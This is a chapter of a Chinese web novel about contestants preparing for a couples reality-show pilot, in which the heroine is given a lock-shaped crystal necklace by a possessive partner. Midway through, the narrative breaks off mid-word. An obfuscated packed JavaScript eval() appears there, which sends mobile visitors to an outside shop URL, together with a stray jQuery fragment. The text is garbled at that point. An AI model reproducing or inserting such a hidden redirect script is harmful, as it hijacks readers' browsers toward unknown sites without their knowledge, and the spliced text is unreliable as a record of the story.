化妆间里飘散着淡淡的青草香。
一位戴着黑色工牌,穿着POLO短袖和花边牛仔短裤的女导演推门走进来,左手卷着一叠像是台本样的东西,“各位嘉宾老师麻烦移步八楼室内演播室,我们要开始先导片的拍摄啦。”
吴潇潇半侧着身子,手里还拿着个散粉扑压着额头上不小心放出的油光,“先导片拍摄?这要拍摄什么?我早上下来的时候还以为就可以直接开始享受景点了。”
苏晴也带着些疑惑的神情看过来,自打她入住酒店,关于拍摄的内容就再也没收到。
所以每天要拍些什么内容,去哪个地方,在抵达海南之前,她还想过去先问导演组,然后自己上网做详细攻略,但现在看这节目的保密程度……算了吧,只能无脑跟。
李娜马上接话,“哎呀,这你就不懂了,现在那种旅游综艺、情侣综艺没看过吗,人家都要先拍一个类似前景概况,就是大概介绍一下每个人情况。”
国内目前综艺,十部里头八部都要拍个先导片。
“是的,刚刚李娜老师说的是对的。先导片在我们整个综艺中占的篇幅是十分之一,并且我们录制时长不会很久,就是一些简单的情侣问答,考验大家彼此间的默契。”
导演稍稍介绍内容,缓解面前这几位女嘉宾明显的疑惑。
吴潇潇:“那我知道了,是不是想问对方的生日、生活习惯、对方讨厌什么东西、喜欢吃什么、什么时候第一次见面,还有相爱纪念日……”
“没错,内容是差不多的。”
“那简单得很,”吴潇潇甩了甩刚烫好的一头卷毛,从座位上站起身,把原本放在面前的那碗开盖鸡屎藤往边上推开,“有没有排序,没排序的话就让我第一个上吧,我跟我男朋友可是认识快十年了,讲的通俗点就是他脚趾头挪一下,我都知道他要去哪儿。”
说着弯下腰,把自己的脸往镜子上近怼,从各个角度观察面中泛油情况,“而且我的妆太早化了,早点拍等等还能扛得住,晚点我真怕这点睫毛被油塌没了。”
“其他老师有问题吗?要是没有的话,我们就可以直接按这个顺序开机,正好楼底下设备也调好了。”导演也顺势接上话。
“我没问题,正好等会儿上还能有时间在手机上跟我男朋友对对答案,要是这家伙到时候答不上来关于我的问题,我们就可以原地解散了,给公司省下一笔双人住宿费。”
李娜说完笑着转身到角落跟自己男友开启微信对号,导演把目光转向抒苏晴和角落的杨玟棠。
杨玟棠自然是点头同意。
苏晴坐下自己的位置,看了眼四周的目光,也点了点头。
化妆师助理打开面前的暖色面光灯,调了圈亮度,另一名造型师开始预热手中的造型夹板。
桌面依次铺开各类化妆刷,斜角的、圆角的、扁长的……旁边在站着数十瓶不同色号不同质地的粉底液。
“小晴老师平常有喜好的妆造类型吗?”
苏晴平时对这个没太大挑剔,她其实觉得看着舒服就可以。
“你们看着画吧,我都可以。”
化妆师左右不同角度对比了一下她的面骨。
标致的鹅蛋脸和完美的三庭比例,骨相立体到没有一丝多余的轮廓,唇部形状也是恰到好处的饱满,这样标准的建模,不论是浓妆还是淡抹都能打造出一流的效果。
耳边不断传来头发中水汽受热汽化的滋滋声,像低温熨斗在熨平整湿水的棉布一般,声音不大,还带着些机器特有的节奏。
化妆刷带过粉末在脸上轻扫而过,面上的毛孔纤毫毕现,手机震了一下。
是周墨。
“有没有认识到新朋友?”
看文字没什么特别的语气,就像平常的随口一问,但句子尾末加了个笑脸表情包的符号,他平常倒不爱发这些东西。
苏晴思考了一瞬,按下键盘:“应该算认识到了。”
消息很快再接来。
“那就好。”
“给你准备了条项链,试试看。”
手机这头的文字才刚落下,身后就传来一阵脚步声,是周墨的助理。
“苏小姐您好,这是老板给您准备的项链。”
头上的造型做到一半,她不方便转身,便透过面前的镜子看向后方。
刘泉打开保险盒,微微侧下盒体。
暗红真皮上压着鳄鱼纹,打开盒子是黑底绒面内衬。
先是链体,它不像常见的珠宝首饰一样光滑平整,反而有许多细节打磨的凸起,每一块链条环都像是匠人逐片打造,再细细磨合链起,亮银色的质感让每一道锻造的痕迹在光影的反衬下看着有些藤蔓的芽点影子。
再往下看是一枚拇指大小的枕形水晶吊坠,纯度很高,透光看晶体没有一丝絮状,像是上万年封闭的冰河水底,反衬四散的紫光。
枕形的顶端做了个环状切割,晶体方正,上长下短,正中还做了个极其细微的锁孔雕刻,刻线如游丝般微小,极难看清。
仔细端详,晶石有形状,是一把封死的锁。
“小晴老师,我帮您戴上项链。”化妆师从刘泉手中接过这条发着紫光的链子,项链从盒中起身时,锁链骨节互相碰撞,发出细碎的叮当声。
咔。扣死。
项链挂在脖子上,银紫的配色和白皙的肌肤相得益彰,这条项链配她,其实美极了。
旁边的人在不停夸赞这条链子设计的巧思,还有赠送人的用心与大方。
但苏晴这一刻却经不住沉默下来。
镜中的自己,戴的是项链?
还是锁……
“小晴,我这里也结束了。”思绪被录制结束的杨玟棠打断。
苏晴应声,“好。”
他们录制的时间都很快,均下来每个人不超半小时。
“那些问题吧简单吧?”吴潇潇朝刚进门的杨玟棠问道,“我都得满分,我俩这么多年感情当场他没秒答,回去都要跪一个榴莲。”
“我……还行吧。”
杨玟棠没说出个什么答案,也不像想接话的样子,不深不浅回答。
李
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17866191|212204||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
娜:“当然,毕竟每天朝夕相处,这些问题怎么可能答不上来,都小儿科。”
“网上不都说爱人如养花,你既然都养花了,哪片花瓣枯萎,哪块土干了,那肯定都知道。”
她们说的这些话,都是本子上写的。
不过,本子的原本大意不是这样。
在周墨笔下时,他说,爱一个人就要知道每天起床时她从哪边翻身,用餐时她习惯哪只手拿勺,上楼时她习惯哪只脚抬阶。
她想的是什么?她眼睛底看的是什么?她平常和哪些人说话?和哪些人交往?
爱应该像浸在空气里的潮气一般,不容拒绝包裹住她的身体,她的每一寸。
把她裹紧。
直到死亡。
化妆间被掩上的门又敲响了三声。
传来工作人员的询问:“小晴老师,现在就剩下您了,可以准备上场吗?”
苏晴起身,拖着微微拖地的裙子下摆,“好,马上。”
刚走出自己的座椅外圈,长出身体几寸的亮片下摆自然不小心摇曳拖地,没有一丝褶皱的光滑面料盖在她的脚尖背上。
门口站着的是前几天在楼底下遇到的实习生,手里还抓着个崭新的对讲机。
苏晴身上的这件衣服是紧身款,过分收腰的设计在她身上正好能显出身材姣好的比例,但此刻,这倒也给她添了麻烦。
衣服太紧,弯不下腰。
她的窘迫实习生一眼就看出。
他在原地停留了一刻,自然热心上前帮苏晴提起裙摆,还将自己因为搬运而沾了不少灰尘的外套仔细往里拢了拢。
“谢谢,谢谢。”苏晴连声感谢。
“没事,应该的,裙子长有时候是不太方便。”
苏晴看了一眼他胸前的工牌,这次距离近些能看清,‘郑铭宇’。
两人一前一后走出化妆间,沿着一路长廊,亮片之间互相摩擦发出细嗦的声音。
到十三楼。
电梯门开。
这一层没有做任何的门框衔接,电梯门开即入棚。
一股声浪较人影先涌过来,设备运转声、对讲机电流声、舞台音响测试的底噪,全部搅在一起,明明是室内,但声音却嘈杂得像进了个大型市场。
这里搭得更像是一个室内的录音棚,很大,很空旷,像个地下停车场。
穹顶高得几乎看不到灯具的尽头,密密麻麻的灯光架像钢铁的肋骨,上面挂着几百只不同色温的灯。
设备多到让人眼花。摇臂摄像机架在轨道上缓慢转动,调音台上上百个不同颜色的推子密密麻麻摆开。
工作人员穿梭其间,大概三四十号人,穿黑色工作服的居多,胸口挂着工牌,耳朵上挂着耳麦。
有人在扯线,有人在调光,有人在对着脚本比划……
到场,苏晴接过郑铭宇手中自己的衣摆,再次向他礼貌致谢。
两人之间保持着应有的距离,他们进行过的对话甚至其实不超过五句。
但在斜前方主持台旁的周墨眼里,不这么认为。